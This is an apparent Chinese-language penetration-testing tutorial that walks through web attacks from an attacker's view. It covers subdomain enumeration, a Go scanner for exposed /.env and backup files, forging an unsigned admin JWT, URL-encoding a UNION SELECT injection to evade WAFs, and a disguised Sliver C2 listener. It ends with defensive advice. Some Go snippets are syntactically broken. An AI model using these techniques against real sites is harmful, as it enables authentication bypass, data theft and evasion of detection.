一、从一起数据泄露事件说起
2023年年初，某知名电商平台因网站漏洞导致用户数据泄露的新闻被曝出。攻击者利用网站的登录接口，通过恶意构造的请求绕过了身份认证，成功获取了大量用户的敏感信息，包括邮箱、手机号以及交易记录。这起事件不仅让该公司蒙受了严重的经济损失，还引发了用户和监管机构的强烈质疑。
这类攻击背后往往源于对网站认证逻辑、输入校验等关键环节的漏洞利用。作为渗透测试工程师，我会向大家展示一个类似的漏洞利用过程，并从攻击者的视角分析如何一步步攻破目标网站。
---
二、隐藏的入口：从信息收集到资产发现
在任何一次攻击中，信息收集总是第一步，目标是找到潜在攻击面的入口。在这部分，我们通过实际案例介绍如何从公开信息中发现一个网站的弱点。
1. 查找子域名
子域名通常是一个很容易被忽略的攻击面，很多开发或测试环境可能暴露在互联网上。通过 amass 和 Sublist3r 这样的工具，我们可以批量枚举目标公司域名下的所有子域。
以下是使用 amass 的脚本： <pre><code class="language-shell"># 用 amass 扫描目标主域名，收集子域名信息 amass enum -passive -d example.com -o subdomains.txt</code></pre>
2. 爬取敏感文件
有些开发者会将系统配置文件、API文档甚至备份文件直接暴露在服务器公开路径下。可以用工具如 dirsearch 或者自写脚本扫描这些路径。
以下是一个简单的 Go 脚本，用于扫描敏感文件路径： <pre><code class="language-go">package main
import ( "fmt" "net/http" )
func main() { urls := []string{ "/.env", "/config.json", "/backup.zip", "/admin.php", }
// 替换为目标域名 domain := "http://example.com" for _, path := range urls { resp, err := http.Get(domain + path) if err != nil { fmt.Printf("Error accessing %s: %v\n", domain+path, err) continue } if resp.StatusCode == 200 { fmt.Printf("Found: %s\n", domain+path) } else { fmt.Printf("Not found: %s\n", domain+path) } resp.Body.Close() } }</code></pre>
运行这个程序，你就可以快速探测目标网站是否存在敏感文件暴露。
3. 分析 API 接口
很多情况下，API 是网站的主要攻击面。通过对接口的抓包分析，我们可以发现一些不安全的设计，比如未授权访问、参数注入等问题。使用工具如 Burp Suite 或者 Postman 进行接口抓包和重放测试是一个常用手段。
---
三、摧毁堡垒：身份认证的薄弱点
在此次案例中，攻击者是利用了对登录接口的分析，发现了身份认证机制的漏洞。我们通过一个模拟环境还原这种攻击。
1. 漏洞成因分析
许多网站的身份认证依赖用户传递的凭证（如 Token 或 Cookie）。如果开发者没有严格校验凭证的来源和有效性，攻击者可以通过如下方法绕过：
- 硬编码密钥：如果 Token 是通过静态密钥签名的，而密钥泄露或可猜测，攻击者可以伪造合法的凭证。
- 缺乏签名校验：有些网站接受未签名的 Token 或者错误校验签名部分。
- Session 固化：攻击者可以窃取其他用户的 Session ID，并直接使用。
2. 实战案例复现
我们假设一个网站的登录接口存在 JWT（JSON Web Token）签名校验漏洞——即接受未签名的 Token。
以下是一个未经签名的 JWT 的伪造过程： <pre><code class="language-go">package main
import ( "encoding/base64" "fmt" )
func main() { // JWT 的头部和载荷部分 header := {"alg":"none","typ":"JWT"} payload := {"user":"admin","role":"superuser"}
// Base64 编码头部和载荷 encodedHeader := base64.RawURLEncoding.EncodeToString([]byte(header)) encodedPayload := base64.RawURLEncoding.EncodeToString([]byte(payload))
// 拼接成伪造的 JWT fakeJWT := fmt.Sprintf("%s.%s.", encodedHeader, encodedPayload)
fmt.Println("伪造的 JWT:", fakeJWT) }</code></pre>
运行上面的代码，会生成一个伪造的未签名 JWT。你可以通过 Burp Suite 截获目标网站的请求，将伪造的 JWT 替换为真实用户的 Token，并发送请求。如果目标系统未做签名校验，就会直接接受这个伪造的 Token。
---
四、躲藏与反击：绕过检测与隐藏流量
在攻击过程中，如何躲避安全设备（如 WAF、EDR）的检测是一个关键问题。以下是几种有效的绕过方法。
1. 请求混淆
通过修改请求的格式，可以绕过一些简单的规则检测。例如：
- 将关键参数用
URL 编码或Base64 编码。 - 在参数中加入无害的干扰字符。
下面是一个示例，用 Python 将 SQL 注入语句混淆： <pre><code class="language-python">import urllib.parse
payload = "' UNION SELECT username, password FROM users--" encoded_payload = urllib.parse.quote(payload)
print(f"混淆后的 Payload: {encoded_payload}")</code></pre>
将 encoded_payload 作为注入点的参数提交，可以绕过部分 WAF。
2. 流量伪装
很多 C2（命令与控制）工具支持将恶意流量伪装为合法流量。以 Sliver 为例，可以使用 HTTPS 加密并伪装为常见的浏览器请求： <pre><code class="language-shell"># 在 Sliver 中生成伪装的 Listener generate listener http --host example.com --port 443 --http-host example.com --server-name "Mozilla/5.0"</code></pre>
---
五、技术的尽头是意识
如果你问我，攻击中最重要的是什么？我会回答：细节和耐心。很多时候，一个不起眼的子域名、一个被忽略的接口，可能正是打开整个系统大门的钥匙。而只有保持攻击者的思维，才能在目标防守最薄弱的地方找到突破口。
探索漏洞的过程就像解谜，但也要提醒大家，切勿随意攻击未经授权的目标。学以致用，才是网络安全的正道。
---
六、防御的思路
从攻防对抗的角度，以下是一些针对本文攻击方法的防御建议：
- 加强 Token 校验：采用强加密算法签名 Token，并在服务端严格验证签名的合法性。
- 子域名管理：定期扫描公司域名下的所有子域，并对不必要的子域及时关闭。
- 接口安全设计：对每个用户操作进行严格的权限校验，避免越权访问。
- 安全设备优化：定期更新 WAF 策略，增加对混淆、编码 Payload 的检测能力。
作为一名渗透测试工程师，我们的目标是通过模拟真实攻击，协助企业发现和修复漏洞，而不是成为威胁的制造者。希望这篇教程能让大家对网站安全有更深的认识。